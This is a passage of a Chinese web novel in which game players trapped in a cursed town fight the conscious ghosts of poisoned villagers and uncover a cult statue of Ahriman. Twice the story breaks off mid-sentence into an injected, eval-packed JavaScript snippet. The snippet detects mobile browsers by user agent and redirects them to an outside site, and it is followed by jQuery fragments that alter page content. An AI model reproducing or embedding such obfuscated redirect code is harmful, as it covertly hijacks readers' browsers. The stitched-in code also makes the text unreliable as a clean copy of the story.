“放心,白天两个小时,够我休息。”唐逐星端起弩,又打出一枚孔雀翎。现实不比游戏,他们看不到自己的蓝条,只能通过身体的反馈判断还有没有蓝。如果打出太多消耗神机值的技能,就会损耗心神,难以继续使用技能,必须等待身体机能慢慢恢复。 “另外两只也来了。”行守横握燃木,所看的方向正是那男鬼与鬼婴,“小蕨,这鬼婴交给你了。” “好!”曲小蕨答应道。 虽然这鬼婴原先是王家还不满周岁的孩子,但也没有别的办法了,只能像尹有攸说的那样,早点超度,也算解脱。 她轻盈地跳起来,吹响太上忘情,身周紫光一闪,先放出灵蛊挂上迷心,随后便看到风蜈金头玉爪、千足游天的幻象向那鬼婴直冲而去,正是一记当头拍下的百足,鬼婴顿时便被锁在原地动弹不得。 隐约可见,朱砂写就的六字大明咒在暗淡的夜色里正散发着微光。有了“附魔”过的武器,似乎这些鬼也不再那么难以对付了,最多就是要多磨一会儿,不过他们这里除了丐帮和少林都是远程,早就习惯了放风筝式的打法。 那鬼婴要比成人的鬼魂弱得多,不多时便已身形模糊起来,随时都有可能消散。曲小蕨心里还有几分不忍,刚将太上忘情横放在颊边,余光却扫见另外两只鬼魂都挣脱了队友的阻碍朝自己扑来,赶紧一招迎风回浪险险躲过,行守随即一记横扫六合,再度拦住它们。 “怎么还有狂暴阶段?”唐逐星还鸟翔挂在天上,奇怪道,忽然面色一肃,“搞快,新鬼来了……他们有点不一样。” 鬼婴身上已经挂好了夺命蛊,他都这么说了,曲小蕨也不再手软,直接触发伤害将鬼婴送走。看着那消散前在空中抓握了一下的小手,她轻轻叹了口气,随后面向黑暗,凝神等待着唐逐星口中的“新鬼”。 呼…… 还是一阵让人发冷的阴风吹来,伴着迅速袭来的寒冷,她看清了新鬼的模样。 同样是惨白的身体、口鼻流血,但这三只新鬼却并没有被拔掉舌头,相反,他们的眼睛却被挖去了。血从黑黝黝的两个深洞顺着脸颊流下来,如同两道血泪,让她看着不由得一阵发憷。 五个人五只鬼,也不是不能应付,付井仪扬声道:“拉远一点,不要让它们互相靠近!” “能解决就尽量解决吧,别舍不得放技能,尤其是行守你,别在那平a了!”唐逐星抱着千机弩,引着其中一只鬼远离人群,还有心情调侃,“现在可不是划水的时候!” 行守却一脸若有所思的表情。他挥动燃木击退女鬼,忽然说:“如果那尊神像确实是阿里曼圣像的话,我好像知道他们的情态代表着什么了……” “什么?”听到线索,众人顿时精神一振,便听到行守说:“阿里曼是祆教观念中的恶神,他统率着六大恶魔,分别是Zairisha饥渴、Taroumati背叛、Saruwa混乱、Ake Mana恶意、Taurvi炽热与Ganaagu破坏,其中拔舌代表饥渴,挖眼代表恶意——因为据说被恶意掌控的人会失去分辨的能力。” “六个恶魔,那不正好对应我们要在这里度过的六天吗?”曲小蕨躲过鬼魂的扑击,惊道,“仙教又是什么教,跟我们五仙教有关系吗?” “不是仙教,是祆教,祆的写法和棉袄的袄差不多,这个教派在历史中是真实存在的。”付井仪指下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实一想到那些无辜的镇民,她就有些喘不过气,只能和师父贫贫嘴转移一下注意力,看其他人也是这样,只有不断地分散注意,才能稍微减轻心里的沉重感。 他们这边正说着话,那边尹有攸却站定了,侧头细听鬼魂的嘶吼之声。 他凝神的模样太明显,唐逐星便打趣道:“怎么,你还能听懂鬼话?” 尹有攸对他的调侃毫无反应,唐逐星连叫了两声似乎都没听到。这反应不同寻常,付井仪快步上前一拍尹有攸肩膀,他才大梦初醒一般回过头。 “听到什么了?”付井仪问他。 尹有攸摇摇头:“没什么。” 只是虽然这么说了,离得近的唐逐星和付井仪却都能看到,他碎发遮挡下的额头,竟然沁出了点点冷汗,虽然戴着云幕遮,但还是明显露出了心神不宁的神色。 曲小蕨不满道:“到底是什么呀,你也要当谜语人吗?” 队友们一再追问,尹有攸却只是摇头。 曲小蕨好奇得不得了。她一转眼睛,想着我又不是没长耳朵,你不说,我自己去听,于是趁尹有攸不注意,悄悄靠近那被蛛网束缚住的鬼魂。 这鬼魂近看更加吓人,他的脸因为极度的痛苦而完全扭曲变形,被剜去的双眼空洞下蜿蜒着两条血泪,看着就让人心里瘆得慌,嘴唇不停蠕动,还在嗫嚅着什么。看到曲小蕨靠近,他本能地想要扑过来,却被蛛网缚住动弹不得,只能露出怨毒的表情。 曲小蕨凑近一听,只听那鬼魂说话虽然含糊不清,但说的竟然确实是人话。 “他说什么呢?”唐逐星也发现了曲小蕨的动作,走了过来,尹有攸却神色大变:“等等——” 他的阻止还是晚了一步,靠近鬼魂的两人都听到了那鬼魂翻来覆去、断断续续的声音。 “好疼啊……眼睛好疼……救救我,救救我……求求你们……” 听着他的声音,曲小蕨忽然产生了一个极其恐怖的猜想,她指着那鬼魂,颤声问尹有攸:“他……他该不会还有意识吧……” 尹有攸别过头,沉默不语。而听到她的话,那鬼魂虽然还是一脸狰狞凶狠,但却发出了极度痛苦的呜咽声。 听到那呜咽声的瞬间,曲小蕨的大脑轰的一声,像被人狠狠地敲了一锤,顿时有些发懵,一阵反胃感涌了上来。 他们进入第三天实际上还不过四个小时,也没吃什么东西,她自然什么也吐不出来,但那种欲吐的感觉一直萦绕在喉头。 他们还有意识!这些被作为祭品杀死、变作鬼魂的镇民居然还有意识! 她立刻条件反射般地想起消灭那鬼婴时,状若癫狂扑过来的男女鬼魂,和鬼婴最后留在空中抓握的小手,心里一阵一阵地发冷。 人命如蝼蚁,人命如草芥。 天快亮的时候,被他们抓住的那只鬼在惨叫声中化为了飞灰。 行守捂着曲小蕨的耳朵,看着他一寸寸地崩解,整个身体变成无数细小的碎片,然后在半空转瞬消失,只剩他们站在平整光洁的青石街道中央,阳光耀眼,微风和煦。 “去寺庙,找里正。”付井仪只说了这六个字,就率先迈开了步子。 街道上的行人明显变少了,偶尔看到三两镇民,也只是在路边低声交谈,满脸不安。显然,恐慌的阴云已经笼罩了这个友善祥和的小镇。 他们就在这样沉默的氛围里快步前行,直到路过王记酒家。 仵作验过了尸,查不出死因,已经撤走了,灵柩还停在内屋。外院的大门紧锁,唯有那树新槐开得正茂盛,被沉甸甸花朵压弯了的枝头越过院墙,伸到了街上来。 花香酒香混杂在一起,曲小蕨闻了却直犯恶心。她看着那满树雪白的槐花,一种不受控制的冲动涌上心头,快跑几步拦在了付井仪面前。 “我要把那棵树烧了。”她仰起头看着付井仪,说。 付井仪平静地回望着她:“现在毁去槐树还能救镇民么?” 曲小蕨摇摇头。经过了这段时间的相处,她知道付井仪一向会尽量避免节外生枝,她似乎不应该心血来潮。 但曲小蕨还是仰着头,看着付井仪。 “不能。”她说,感觉自己好没出息,声音都在发抖,“但是我想。” “小蕨……”行守叫了她一声,曲小蕨梗着脖子,像没听见。 付井仪半蹲下来,直到视线和她平齐。他看起来还是那么平静,面无表情,曲小蕨几乎都要以为他即将说出拒绝的话了,直到付井仪从小队背包里拿出火折子,放在她有些僵硬的手心里。 “去吧,等下快点赶上我们。”他说。 唐逐星反应很快,立即道:“未成年人不能玩火,我和她一起。” 付井仪朝他点了点头,便站起身,继续向前走去。行守抬起白箬笠看了他一眼,唐逐星回了个放心的手势。 他们轻而易举地翻过了那座简陋小酒家的院墙,落在院里。王记的人虽然都不在了,但整个院子还弥漫着陈年的酒香。在这样的香气中,曲小蕨抖开火折子吹了口气,看着火苗呼啦一下子跳了起来。 槐树的花朵枝叶都是鲜活的,不像枯枝那么容易点着,她高举着手等了很久,身后的唐逐星不知道从哪儿摸出来一只酒壶,一抬手,醇香的酒液汩汩浇在了树根上。 那是另一种霸道醇厚的香气,完全不同于曲小蕨闻了就作呕的槐花酒香。 “尹有攸那儿顺来的。”他随口说。 有了酒,整棵槐树便飞快地被引燃了。曲小蕨眼也不眨,看着它被吞没在跳动的火焰之中。 她从来没有认真地注视过一棵树是怎么被燃烧殆尽的,就像在几个小时之前,她也从来没有想过,一个人留下的最后痕迹是怎么变成一小片、一小片的飞灰,风一吹就彻底消失在这个世界上的。 确认这把火不会烧到其他地方,在左邻右舍前来救火之前,他们又跳过院墙,离开了。 寺庙在整个镇子的最北头,唐逐星和曲小蕨才刚走了一小段路,就有一辆牛车在他们身旁停下了,车夫的是个中年男子,一脸憨厚的样子。 “进庙是吧?我捎你们一程!” “这位大哥,你怎么知道我们要进庙的?”唐逐星问。 车夫苦笑一声:“现在往北边去的人都是要进庙的。这两天镇上出了那么多事,大家心里不安稳啊。这不,咱们放下地里的活计,也去凑个热闹,不然总是不踏实。” 既然同路,二人也不再客气,坐上了牛车。期间又有其他镇民赶着车追上来,果然大家都是要进庙烧烧香的,车夫和那些赶车人聊起来,说到小镇的情况,却是不容乐观。 原来在他们待在荒魂镇的夜晚里,镇上又没了三四个镇民。 “不是前天就要迎那些神仙给的神像进庙了吗?怎么就成这样了。” “唉,去问问里正吧,听说他就在庙里呢。” “我看啊,八成又是什么大疫病。” “要真是,那可算完了。”他们这辆牛车上的赶车人叹道,“都是命啊。” 听到里正还活着,两人心里好歹松了口气,这时便见车夫忽然转过头,对他们道:“两个娃儿都听到了嘛,到庙里拜过了就快些走吧,别真染上了病。” 曲小蕨勉强地笑了笑,忍不住问:“叔,你们不走么?” 听到她这句话,周围的几个赶车人都笑起来,车夫边笑边说:“走?小丫头家里不缺钱吧。像我们这种祖辈上都生在洛水的,家和地都在这儿,往哪走啊。” 赶车人们笑过了,又兀自聊起家长里短来。唐逐星看向曲小蕨,发现这小姑娘蔫了吧唧地靠在车沿上,便笑了一声:“聊五块钱的?” 曲小蕨无精打采:“先V50看看实力。” “你要是一直这样,你师父不得担心死。”唐逐星说,直接跳过了金钱话题,“未成年人是祖国的花朵、是社会的栋梁、是明天的希望,你就是我们队的希望,你心态可不能崩。” “停!不用劝我,道理我都懂,我就是还不能接受。”曲小蕨闷闷道。 唐逐星就真不再劝了。 “……你要不还是再说两句吧。”短暂的沉默后,曲小蕨说。 唐逐星轻笑一声:“道理你不是都懂了,我还说什么?” 曲小蕨有些烦躁地揉了揉脑袋:“我是真羡慕你们适应能力这么好,好像世界上没有不能接受的事。师父一向很有主意我是知道的,你也是,付井仪就更不用说了,尹有攸……算了,感觉他半夜会躲在被窝里猛男落泪。” 她长叹一声,沮丧地托住脸:“如果我也能像你们这么淡定就好了。” “那可不一定。”唐逐星说,“说不定他们只是在小辈面前死要面子,现在正在某个角落里抱头痛哭呢。” “……”曲小蕨本来烦闷的心情也被他的胡言乱语搅和得烟消云散,“要不然我现在背过身去,你也悄悄哭一下吧。” “好啊。”唐逐星欣然答应,语气中甚至有几分戏谑,“我要是不小心哭出声了,你可得当做没听见。” 曲小蕨瞪着他:“我发现我错怪付井仪了,你才是最冷血无情的那个。” 唐逐星直接笑出声来,他仰头看了看天,长叹一声。 “小蕨啊,你也不用羡慕谁,你才是最让人羡慕的。” “打住!”曲小蕨一脸警觉,“你不会要说有一颗能够设身处地体会到别人不幸的同情心才是最难能可贵的吧……我已经过了喝鸡汤的年纪了,能不能给我整点从功利主义角度出发的东西。” 唐逐星无奈地摇了摇头。 “再过一万年,你和功利主义也沾不上边,别想了。”他修长的手指隔空点了点曲小蕨的脑袋,“我也不觉得同情心有什么难能可贵的,记住,我们是人——人就是这样的,这是天性,不必改。” 15. 第三天·荒魂镇(十五) 牛车一路前进,很快就到了整个镇子最北头的庙宇。 这座庙并不算大,但里里外外竟然围满了人,放眼望去全是黑压压的人头。人群拥挤,牛车甚至没法靠近,曲小蕨跳下车,先被吓了一跳。 虽然总说红河渡大,但这还是他们第一次直观感受到红河渡的镇民数量之多。 里正就站在庙门前的台阶上。一天不见,他看起来憔悴苍老了很多,但好歹是活着的,现在正一副焦头烂额的模样,劝说几个带了铺盖的镇民回家。他们四处环顾了一圈,终于在庙后的小土坡下找到了先到一步的队友,走过去后就发现,行守手上已经捧了一个用红布包裹起来、捆得严严实实的东西。 这大概就是那尊“神像”了,那红布上满是泥土,显然是从地里刨出来的,布料也比神像小了一圈儿,并不能完全将它包裹住,底下露出了小半截石铸的躯体,好像是一个女性的腰部。 “树烧了么?有没有什么异常?”付井仪看到他们走过来,便问道,“气味、声音,或者是其他的情况?” “没看出来。”曲小蕨摇摇头,心说怪不得付井仪那么痛快地就同意烧树了,原来是等着后续呢。 他们围成一圈,看行守把那尊“神像”从红布的包裹中拆出来。 “据里正说,他们试过了刀劈火砍等各种方法,都没法毁坏这尊神像,所以才只好将它埋起来。”行守边说边将捆得结结实实的麻绳逐一解开,随后扯下红布。 神像露出真容,几人一瞬间都屏住了呼吸——但出乎意料,那尊神像并不像里正形容的那么可怖,相反,它非常端正,线条流畅,神形柔美,雕工精湛,甚至有些像现代的雕塑装饰品。 这尊神像是一个女性的半身像。“她”梳着很常见的螺髻,穿着襦裙,紧闭双目,唇角带笑,双手放在胸前。如果说非要找出哪里诡异的话,大概是“她”的双臂上都缠绕着鲜红的披帛,和整座神像整体素净的用色格格不入。 “怎么长这样?”曲小蕨不禁问,“之前里正不是说很恐怖吗?” 行守摇摇头:“虽然不知道为什么和里正说的不一样,但这的确就是一尊很标准的阿里曼半身圣像,你们要是打过荻花前山的话,应该会有印象。” PVP们齐齐表示没见过。 这圣像看起来表情宁静而恬和,任谁乍一看也想不到,就是它在奴役着那些枉死的镇民,使他们死后也日日饱受痛苦煎熬。 眼看镇民们还在依次参拜,他们轮流用技能试了试,然而无论是什么技能、即使加持了六字大明咒,都没办法损坏那圣像分毫。最后行守干脆直接用朱砂在那圣像上誊了一遍六字真言,但“她”依旧只是闭目微笑,不见任何损毁的痕迹,显然,六字大明咒只对鬼魂类起作用。 他们这边正试着,却又听到庙里传来一阵骚动。 “有人出事了!”尹有攸道,而曲小蕨闻声已经跳了起来,分开人群朝骚动处冲去。 “让一让!”她焦急叫道,“我是医师!我是大夫!” 大概是没想到在庙里也会出事,镇民们慌成一团,纷纷朝外跑去,倒方便了曲小蕨挤进去。不过眨眼间的工夫,原来拥挤不堪的庙前已经腾出了一大片空地,只剩里正和几个看起来像是管事的人还站在那里。 曲小蕨看了一眼,呼吸就是一窒。 那片空地上躺倒的不止一个人。 一、二、三……足足七八具毫无生机的身体倒在空地中央,这些人口鼻中都涌出鲜血,表情还停留在一瞬间的惊恐或愕然,就被夺走了生命。 “哎——怎么有小姑娘过来了!” 管事的正急得团团转,便看到曲小蕨在其中一具尸体旁蹲下,赶紧去拉人,“造孽哟,这热闹就别凑了!” 唐逐星和尹有攸拦住管事,行守便上前解释。他是一副少林僧人的打扮,看在这些镇民眼里,格外地有说服力,于是那些管事的也都安静下来,像抓住最后一根救命稻草一般围住行守,想要寻个说法。 身后种种纷乱,曲小蕨充耳不闻,只是伸手探了那镇民脖颈和手腕,又翻开眼皮,捏开口颌,仔细地看了一遍。 开始了,要开始了。 如果把镇民身体内的“毒素”按照浓度来进行一个评定的话,浓度最高的王家人自然首当其冲,其次就是那些嗜酒之人。除开这些人,大多数镇民的浓度都差不多,所以往后同时枉死的人数只会越来越多,就像一场大病爆发时总是由零星到成片感染。 “糟糕!”尹有攸突然一声轻喝,曲小蕨一回头,就看到那刚刚要拦住她的管事竟然也口鼻流起血来。 “师父!”她冲过去,太上忘情笛尾一撞那管事后背的夹脊穴,沿脊骨一路上行,飞快地捋过了几处经络关口,“快拿凝血精给他!” 行守从小队背包里拿出凝血精的同时,便见曲小蕨在管事胸膻中穴的位置轻轻一拍,管事惊恐的表情一滞,口鼻里不断涌出的血竟然真停了下来,但她焦急的表情却不减半分:“快啊!” 行守动作已经很快了,但也就是他们递交凝血精瓶子这不到一秒的时间内,管事的喉咙忽然咯咯作响起来,紧接着,他竟然咬死了牙关,唇缝里又流出蜿蜒的鲜血来。 唐逐星二话不说,双手在他耳后用巧劲一推,将那管事的下颌卸了下来。凝血精被塞进他的嘴里,但那管事暴睁双眼,喉头梗紧,似乎无论如何也不肯吞咽。 曲小蕨一摸他喉咙,整个人的力气立刻就松了下来,喃喃道:“……他死了。” “啊,啊啊啊!” 就在这当口,里正忽然一阵惨叫。几人一惊,转头看去,还以为轮到这老人家了,但他只是跌坐在地,表情无比惊恐,枯槁的手颤颤巍巍,指向他们身后:“那个……那个东西!” 付井仪转头看去,里正指的正是那尊圣像。 他走过去将圣像拿起来。长歌门手上功夫何其精湛,细微差别都能立刻察觉,那尊圣像一入手他便觉得有些不对劲,似乎比之前要沉了一些。 “它活了!”里正焦急道,“之前我把它埋下去的时候,它……它只有一个脑袋啊!” 听到他这句话,几人都是心里一沉。付井仪看向手中的圣像,它分明就是一尊半身像。“她”双目紧闭,表情柔和,如果不是石刻的面容,倒真像正在沉睡的神女,仿佛身体会随着呼吸起伏。但几人刚刚经历了那样的一幕,此时再看,总觉得这圣像嘴角的笑意,夹杂着一丝冷冷的嘲讽。 “果然……果然是邪魅啊!” 里正看起来吓得不轻,行守刚把他从地上扶起来,他便一叠声地哀求道:“几位大侠,几位大侠,只怪我们当初糊涂收下了它,算老朽求求你们了,快把这邪魅带走吧!” “……” 行守被他抓住手臂,心里也是一阵阵发苦。 且不说镇民已经全部“感染”无药可救、就是带走圣像也无济于事,在一天过完之前,他们也无法离开荒魂镇的范围。 他正在思考该如何安慰里正,却看见这老人家哀叹着松了手,拄着手杖,颤颤巍巍地和几个管事上了牛车,竟然是径直要回镇中了。 “时间在流逝。”付井仪手上还捧着那尊圣像,解释道,“对这些镇民来说,他们度过的是完整的一天,从我们的视角来看,他们会有一些跳跃的行为并不奇怪。” 的确,天色正在逐渐变暗。刚刚还高悬在头顶的正午烈日已经悄然西斜,曲小蕨抬头看了一眼:“那很快就要天黑了,我们怎么办?我……” 她欲言又止。自从知道了那些镇民还保留意识之后,一想到他们还能感受到自己放出的每一个技能,曲小蕨就头皮发麻,根本不知道今晚要怎么面对这些鬼魂。 “让一个鬼魂‘消失’,需要灌入大量的伤害,考虑到后面几晚我们要面对的鬼魂数量,硬碰硬肯定不是最优解,大概还有什么能够规避正面作战的方法。”付井仪说,他还特地换用了比较温和一些的措辞,“这是我们在荒魂镇这个地图度过的‘第三天’,按理说,如果有什么能够左右目前局势的转折点,差不多也该在这时候出现了。” “所谓的转折点,就是这个圣像吧。”唐逐星说,随手拍了拍那圣像头顶,这一拍之下却一愣。 “这触感不对。”他说,在圣像耳后摸了摸,皱起眉头,“虽然也确实是石头……但手感倒有点像人的皮肤。” 付井仪先前是用红布包裹住圣像底部端着它的,闻言也空出手来摸了一下,果然如唐逐星所说,那明明是石刻的材质摸起来却触感柔软,仿佛带着些许温度。之前行守在给它写六字大明咒的时候也摸过它,当时还没有察觉到任何异常;也就是说,它的这些变化,是在那些镇民死亡后才出现的。 他想到行守曾经说过,在红衣教的教义中,“不洁之人被消灭殆尽之后,阿里曼真神就会苏醒”。显然,镇民的死被红衣教用某种方法和这尊圣像联系到了一起,很可能和他们身体中累积的“毒素”相关。被“毒死”的镇民越多,这尊圣像就长得越快,越来越接近……人的形态。 也就是在这一瞬间,付井仪脑中灵光一闪,想到了一个安全通关的方法。 只是这个方法多少有些令人毛骨悚然,冷静如付井仪,也因为自己的想法而微微心惊。 镇民全部因为“毒素”死去之后,阿里曼圣像就会苏醒。这个boss并不属于浪客行,醒的是个什么玩意、到底有怎样的威力,他们都不知道,但可以肯定的是,它一定极度危险。 ——那么,假如镇民们在“毒素”发作之前先一步死去,他们的死亡,便不会再供养阿里曼圣像。 这个念头在脑海中产生的时候,他首次体会到了巨大的不可控感,在这种感觉下,命运便好像在暴风雨里飘摇的一叶小舟。手上那尊圣像变得越发沉重,“她”面带诡异的冷笑,似乎在等待着付井仪的选择。 他想起了进入第三天前,他对尹有攸说过的那个结论——玩家进入到哪张地图,是由玩家们自身的技能决定的。 但现在,付井仪有了新的想法:决定玩家进入哪张地图的除了技能,还有人设。 ——行守的设定让他能够了解到关于红衣教的一些知识,于是,他们就进入了这张地图。而在这张地图中,随着时间的推移,他们也正在渐渐和游戏中的角色融合,心态也在慢慢改变。 行守本人越来越像少林弟子就不提了,可能曲小蕨也没有发现,虽然始终愤怒于镇民们遭受到的苦难,但那管事在她怀中死去,她也就那样平稳地接受了,一个也就刚读高中的孩子,怎么可能做到这一点。 而根据游戏的设定,唐门本就是一个见惯生死、亦正亦邪的门派,五毒的设定中也有恣睢无忌的一部分。唐逐星和曲小蕨在面对镇民的惨状时反应更加激烈,很有可能是他们在潜意识中已经发觉了自己有逐渐麻木的倾向,开始下意识地对抗这种与人设的融合。 ……这也是游戏安排好的吗? 付井仪抿住唇,感觉思绪变得纷乱无比,心里有一种莫名的荒唐感。 通关的方法已经有了,但要不要说出这个方法的决定权,现在正握在他的手里。 ——如果不死于“毒素”的爆发,那么镇民怎么死?为什么死?甚至……谁来杀? 他甚至产生了一个荒唐的想法。 既然镇民都要死,那死在他们的手里,总比死在红衣教手中好。 “啪!” 一股大力突然袭来,那尊圣像瞬间从付井仪手中远远地飞了出去,在地上滚了几圈。 周围几个人都被这动静吓了一跳,曲小蕨脱口而出:“你干什么!” “它很邪门。”尹有攸收回手,好像完全看不出来他刚刚毫不留情地一个亢龙抽在了那圣像的脸上,“别盯着它看。” “……” 付井仪看了一眼自己的手,缓缓合拢手指。 那尊圣像被尹有攸打飞之后,他确实心里一凛,略微混沌的思绪突然变得清明了一些。 整个第三天过了不到一半,一切都还存在着转机,他本不该也不会如此操之过急,产生如此极端的想法。 “先不管那个,天要黑了。”唐逐星道,“今晚怎么办?先说好,我可不想动手。” 曲小蕨赶紧接上:“我也是我也是。” “大家的心情应该都一样。付井仪不是说过,硬碰硬并非是通关的最优解么?”行守双手合十,低眉敛目道,“我们便用今晚的时间寻找一下其他方法吧。” 到了第三天,他也越来越有少林沉静稳重的气质了,开口说出的话似乎自带梵音,让人听了就忍不住信服。 行守都这样说了,几人也都不再说话,只是默默地看着落日西沉滑入地平线。 黑夜再度笼罩了红河渡,或者说荒魂镇。 但今晚却又有所不同,几乎是黑暗覆盖下来的瞬间,他们就立刻察觉到了异常。 “这庙好像没怎么变?”曲小蕨疑惑道。 荒魂镇一片萧条破败不提,但他们面前这座庙,却仍然保留着大部分完整的结构,连庙门都还在。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691163|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“看圣像!”尹有攸忽然说,几人又转过目光,便发现之前滚落在一旁的圣像之中竟然隐隐有动静传出来,仔细听去,竟然是一声叠着一声、高高低低痛苦的呻吟,就和他们之前听到的那鬼魂的呻吟别无二致。 紧接着,在他们的注视中,竟然有数个鬼魂慢慢地自那不过手臂长短的圣像中缓缓浮现出来。 “这东西原来是个刷新点。”唐逐星冷冷道。 “先进庙看看。”付井仪说,“留下这么完整的建筑,应该是一种提示。” 说话的同时,他拨动琴弦,七弦之上角音连响,泠泠如劲风入松,那些鬼魂涌出的速度顿时就是一滞。这支队伍配合无间,付井仪话音刚落,其他四人都已飞快地冲进庙门,然后便同时倒吸一口冷气。 “卧槽!”曲小蕨忍不住叫道,“这是什么玩意!” 只见那案台之上,原本端坐莲台、宝相庄严的菩萨像已经不见,取而代之的,是一个巨大的虚影。再仔细一看,那虚影分明只有女子的上半身,身着襦裙,双臂缠绕着鲜红的披帛,闭目微笑,模样与那尊阿里曼圣像如出一辙。脱去了石刻的外形后,“她”看起来更加栩栩如生,身体甚至还在像呼吸般地起伏着,仿佛随时会睁开眼睛。 一只翎箭破空而来,以迅雷不及掩耳之势穿透了那道虚影,钉在了案台背后的柱子上。那虚影只是如同被扰乱的水面一样微微一晃,很快又恢复了正常。 “技能也打不到,似乎只是个投影。”唐逐星放下弩,“本体难道是那尊圣像?” 尹有攸也紧跟着给那虚像来了一拳,结果是一样的,这个虚影看得见、摸不着,就像是一个并不存在的缥缈的投影,只不过看起来格外真实。眼看鬼魂已经纷纷涌了过来,他们也不能再在庙中耽搁,迅速撤到了庙外的宽阔空地。 “前两夜的鬼魂很可能也是从这里出现的,然后游荡到了我们那时所在的位置。”付井仪的五指还按在琴弦上,飞快地说道,“它们是从那尊圣像中出现的,换句话说,那尊圣像吸纳了所有死去镇民的魂魄。” 这些刚“刷新”出来的鬼魂动作都很迟缓,似乎还没反应过来,几乎凑作了一堆,让人不寒而栗的哀嚎惨叫声此起彼伏。趁它们还未散开,曲小蕨叫出天蛛,施展千丝,以蛛丝将它们都全部缚在一起,但鬼魂数量太多,眼看挣破蛛网也只是时间问题。 “那怎么办?”她咬牙道,“这个鬼东西打也打不烂、烧也烧不坏,师父也说过,一旦那个什么鬼阿里曼真神吸收够了足够的生命就会苏醒,到时候这个投影不会变成真的、然后大开杀戒把咱们都杀了吧!” “嗯,你说得很有道理。”唐逐星还笑得出来,“如果没有意外,那就是这个套路了。” “先试试鬼魂数量削减对圣像有没有影响。”付井仪对曲小蕨说,“放一只出来。” “……啊?”曲小蕨愣了一下,意识到他的意思之后,说话都有点打磕绊,“要动、动手啊?” 付井仪环顾一圈,队友们脸上的表情都充满了犹豫和不忍。 自从知道这些镇民仍然保有意识,即使知道他们是早已死亡的NPC,也很难再像之前一样毫无顾忌地出手。理智是一回事,情感又是一回事了。 “我来吧。”唐逐星说,端起弩,勾了勾嘴角,“谁让我是一个没有感情的鲨手呢。” 他刚要瞄准,就被拦下了。 “你不行。假设我们和游戏角色融合的界限存在着明确的阈值,你的阈值可能已经是我们之中最低的了。”付井仪面无表情,沉声道,“我来。” 语毕,他手腕一抖,已经从单手托住的琴身中抽出一柄寒光闪烁的无鞘剑来,剑身上不知何时也写好了六字真言。 “别看我,看圣像和那个投影。”付井仪持剑上前一步,道。他的语气还是那样,丝毫没有起伏,冷静得吓人。曲小蕨赶紧放了一只他们前一夜已经消磨许多的鬼魂出来,看着他的背影,恍惚中忽然想到一个问题。 他们的这位队友真的动摇过吗?长歌门设定应该也是热血青年吧……但是她从第一天见到付井仪开始,对方似乎就一直是这个样子,被圣像影响的那一会儿,就是她见过的付井仪最失态的时候了。 她还在想着,尹有攸却轻轻地拍了拍她的脑袋,把她的视线强行转移到庙中的虚影上去。 “我来挂减速控一下,这应该没问题吧。”唐逐星在她身后说,“你们盯好那俩鬼玩意就行,注意别被影响了。” 一旦被安排了明确的任务,知道了自己应该做什么,曲小蕨心里就安定多了。她死死地盯着那虚影,这一看,还真看出了些许不对劲。 “她”的笑容太生动了,好像在传达一种感情。 盯着“她”越久,曲小蕨心里就越恐慌。这种恐慌不是她自己的情感,更像是被外力强加给她的,让她情不自禁地焦虑起来。每当她心里情绪波动强烈的时候,那虚影的微笑似乎就更真切一些,似乎带着一些循循善诱的味道。 “爬!”曲小蕨对“她”恶狠狠地竖了个中指,闭上眼睛,等待那股烦躁和焦虑过去之后,重新再看,就发现虚像的笑容又变了,这次的笑容有些恶毒和狠戾,似乎在恼怒她并未受到影响。 “这圣像的投影果然是活的。”行守也发现了,轻声道。与之相比,那圣像却显得普通了许多,倒在地上,似乎就只是个单纯的刷怪点。 他转头,想提醒一下自己的徒弟别盯着那虚像看太久,这一转头便发现曲小蕨已经和虚像杠上了,正在朝“她”猛翻白眼,而虚像的笑容弧度虽然不变,却怎么看怎么有些咬牙切齿起来。 “……”他装作没看见,又转过了头,这一打眼,却愣住了。 随着付井仪琴中剑下鬼魂不甘地消散,那虚像的笑容忽然舒展开来,重新恢复了之前那副波澜不惊的模样,甚至投影也变得凝实了一分。 “不对劲。”唐逐星叫道,“这些鬼魂不能杀!杀了也会增强它的力量!” “我去你——” 曲小蕨一个没绷住,就要朝着那虚像破口大骂,被面容严肃的师父一手按住:“不算坏事,反正我们也下不了手。” “别急,应该还有办法。”话最少的尹有攸也说。 几个人眼巴巴地看向付井仪,付井仪归剑入琴,看了一眼已经挣破蛛丝的鬼魂们,淡然道: “快跑。” “……这和第一天晚上有差别嘛!”曲小蕨欲哭无泪,叫了风蜈出来加速,撒腿就是一个百米冲刺,“所以最后还是个赛跑游戏?!” 16. 第三天·荒魂镇(十六) 兜兜转转,在第三天过到一半的时候,谜语人离开浪客行队又回到了最初的起点。线索倒是手握一大把,但完全无济于事,只能干着急,这种状态用“拔剑四顾心茫然”来形容,再合适不过。 为了防止一起跑目标太大被鬼魂追上,他们还是采用了和第一天夜晚相同的跑路方式,五个人分开跑了五个方向,约好在镇中心的河边见。好在荒魂镇的一夜也就两个小时,大家的身体素质都已经超过普通人太多了,要甩开鬼魂也不算太难,应该是没有什么特别紧迫的生命危险。 曲小蕨捏着双化蝶前冲猛猛窜,还有余力回头看一眼身后追着的鬼魂。 除了前两天的鬼,今夜多出了另一种死状的鬼魂,他们有一半的身体已经完全焦黑萎缩,像是被大火烧过,大概对应师父说过的阿里曼统率的六大恶魔中的“炽热”,她甚至还在身后穷追不舍的诸鬼影中看到了白天那个死在她面前的管事。 辨认出那张熟悉面容的时候,曲小蕨的心跳空了一拍,她也说不好自己是什么感觉,最终只是转过了头,继续往前跑去。 ……如果真的会逐渐变得完全无动无衷,我还是我吗? 